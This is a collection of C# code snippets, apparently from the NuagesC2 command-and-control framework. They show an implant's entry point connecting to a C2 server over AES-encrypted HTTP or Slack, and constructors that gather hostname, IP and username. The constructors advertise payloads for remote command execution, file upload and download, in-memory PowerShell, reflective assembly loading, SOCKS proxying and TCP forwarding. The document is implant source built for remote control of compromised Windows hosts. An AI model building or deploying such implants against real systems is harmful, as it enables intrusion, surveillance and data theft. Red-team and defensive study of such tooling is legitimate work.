Example #1
0
        static void Main(string[] args)
        {
            Dictionary <string, string> config = new Dictionary <string, string>();

            // Sleep time in between heartbeats
            config["sleep"] = "5";

            // Buffer size for pipes (file transfers / tcp / interactive)
            config["buffersize"] = "450";

            // Refreshrate in milliseconds
            config["refreshrate"] = "500";

            // If the Direct connector is used (VERY BAD PRACTICE - Only for POC)
            // DirectConnection connection = new DirectConnection("http://127.0.0.1:3030/implant/", int.Parse(config["buffersize"]), int.Parse(config["refreshrate"]));

            // If the HTTPAES256 Handler is used:
            HTTPAES256Connection connection = new HTTPAES256Connection("http://127.0.0.1:18888", "password", int.Parse(config["buffersize"]), int.Parse(config["refreshrate"]));

            // If the SLACKAES256 Handler is used:
            // SLACKAES256Connection connection = new SLACKAES256Connection("password", "CHANNELID", "SLACK_BOT_TOKEN", "SLACK_APP_TOKEN", int.Parse(config["buffersize"]), int.Parse(config["refreshrate"]));

            NuagesC2Connector connector = new NuagesC2Connector(connection);

            NuagesC2Implant implant = new NuagesC2Implant(config, connector);

            implant.Start();
        }
Example #2
0
        public NuagesC2Implant(Dictionary <string, string> config, NuagesC2Connector connector)
        {
            this.jobs = new JArray();

            this.config = config;

            this.connector = connector;

            try
            {
                this.hostname = Dns.GetHostName();
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                this.hostname = "";
            }

            try
            {
                this.localIp = GetLocalIPv4();
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                this.localIp = "";
            }
            try
            {
                this.username = Environment.UserName;
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                this.username = "";
            }

            this.os = "windows";

            this.connectionString = connector.getConnectionString();

            this.supportedPayloads = new string[5];

            this.supportedPayloads[0] = "Command";

            this.supportedPayloads[1] = "Exit";

            this.supportedPayloads[2] = "Download";

            this.supportedPayloads[3] = "Upload";

            this.supportedPayloads[4] = "Configure";

            this.handler = connector.getHandler();

            this.options = new Dictionary <string, string>();
        }
Example #3
0
        public NuagesC2Implant(Dictionary <string, string> config, NuagesC2Connector connector)
        {
            this.jobs = new JsonArray();

            this.config = config;

            this.connector = connector;

            this.assemblies = new Dictionary <string, Assembly>();


            try
            {
                this.hostname = Dns.GetHostName();
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                this.hostname = "";
            }

            try
            {
                this.localIp = GetLocalIPv4();
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                this.localIp = "";
            }
            try
            {
                this.username = Environment.UserName;
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                this.username = "";
            }

            this.os = "windows";

            this.type = "SharpImplant";

            this.connectionString = connector.getConnectionString();

            this.supportedPayloads = new string[10];

            this.supportedPayloads[0] = "command";

            this.supportedPayloads[1] = "exit";

            this.supportedPayloads[2] = "download";

            this.supportedPayloads[3] = "upload";

            this.supportedPayloads[4] = "configure";

            this.supportedPayloads[5] = "cd";

            this.supportedPayloads[6] = "posh_in_mem";

            this.supportedPayloads[7] = "reflected_assembly";

            this.supportedPayloads[8] = "socks";

            this.supportedPayloads[9] = "tcp_fwd";

            this.handler = connector.getHandler();
        }